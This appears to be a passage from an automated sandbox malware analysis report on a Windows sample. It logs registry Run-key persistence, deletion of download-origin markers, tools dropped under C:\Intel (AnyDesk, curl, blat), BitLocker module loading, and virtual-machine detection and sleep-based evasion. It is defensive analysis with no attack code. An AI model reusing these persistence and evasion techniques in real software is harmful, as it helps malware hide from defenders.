Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Video Configurations			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Intel\svchost.exe	File opened: C:\Intel\AnyDesk\AnyDesk.exe:Zone.Identifier read attributes \| delete
Source: C:\Intel\AnyDesk\AnyDesk.exe	File opened: C:\Intel\AnyDesk\AnyDesk.exe:Zone.Identifier read attributes \| delete

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Intel\curl.exe

Code function: 34_2_002C4214 EncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

34_2_002C4214

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Intel\driver.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\dc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\dc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\dc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Intel\curl.exe

Stalling execution: Execution stalls by calling Sleep

graph_34-120808

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT MACAddress FROM Win32_NetworkAdapter WHERE PhysicalAdapter = TRUE

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_PhysicalMemory

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1			Jump to behavior

Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 9926

Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\unins000.exe	Jump to dropped file
Source: C:\Intel\curl.exe	Dropped PE file which has not been started: C:\Intel\blat.exe	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\ShellEh6055.dll	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\ShellEh6055x64.dll	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\7z.dll	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\delReg.exe	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\Tray.dll	Jump to dropped file

Source: C:\Intel\curl.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_34-118398

Source: C:\Intel\svchost.exe TID: 5996	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Intel\svchost.exe TID: 5688	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\svchost.exe TID: 1188	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Intel\svchost.exe TID: 6492	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Intel\svchost.exe TID: 1924	Thread sleep time: -30000s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 2264	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 7600	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 488	Thread sleep time: -30000s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 6848	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 2264	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 3280	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 3008	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 7988	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 5220	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6884	Thread sleep count: 9926 > 30

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_BaseBoard

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessorId FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Intel\curl.exe	Code function: 34_2_002CCD06 FindFirstFileExW,GetDriveTypeW,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindClose,GetLastError,FindClose,GetLastError,FindClose,	34_2_002CCD06
Source: C:\Intel\curl.exe	Code function: 34_2_002CFCDD FindFirstFileExW,GetDriveTypeW,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindClose,GetLastError,FindClose,GetLastError,FindClose,	34_2_002CFCDD
Source: C:\Intel\driver.exe	Code function: 40_2_0040F8BC FindFirstFileW,GetLastError,FindNextFileW,GetLastError,FindFirstFileA,GetLastError,FindNextFileA,GetLastError,	40_2_0040F8BC
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_00407C0E FindFirstFileA,	41_2_00407C0E
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_0040DB44 FindFirstFileA,	41_2_0040DB44
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_0040DDDC FindFirstFileA,	41_2_0040DDDC
Source: C:\Intel\svchost.exe	Code function: 42_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	42_2_03E34400
Source: C:\Intel\svchost.exe	Code function: 44_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	44_2_03E34400
Source: C:\Intel\svchost.exe	Code function: 45_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	45_2_03E34400

Source: C:\Intel\Trays\Trays.exe

Code function: 41_2_00407D0E GetLogicalDriveStringsA,

41_2_00407D0E

Source: C:\Intel\Trays\Trays.exe

Code function: 41_2_00407D5E GetSystemInfo,

41_2_00407D5E

Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477

Source: Trays.exe, 00000029.00000002.21461662298.0000000000864000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: Trays.exe, 00000029.00000002.21461662298.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
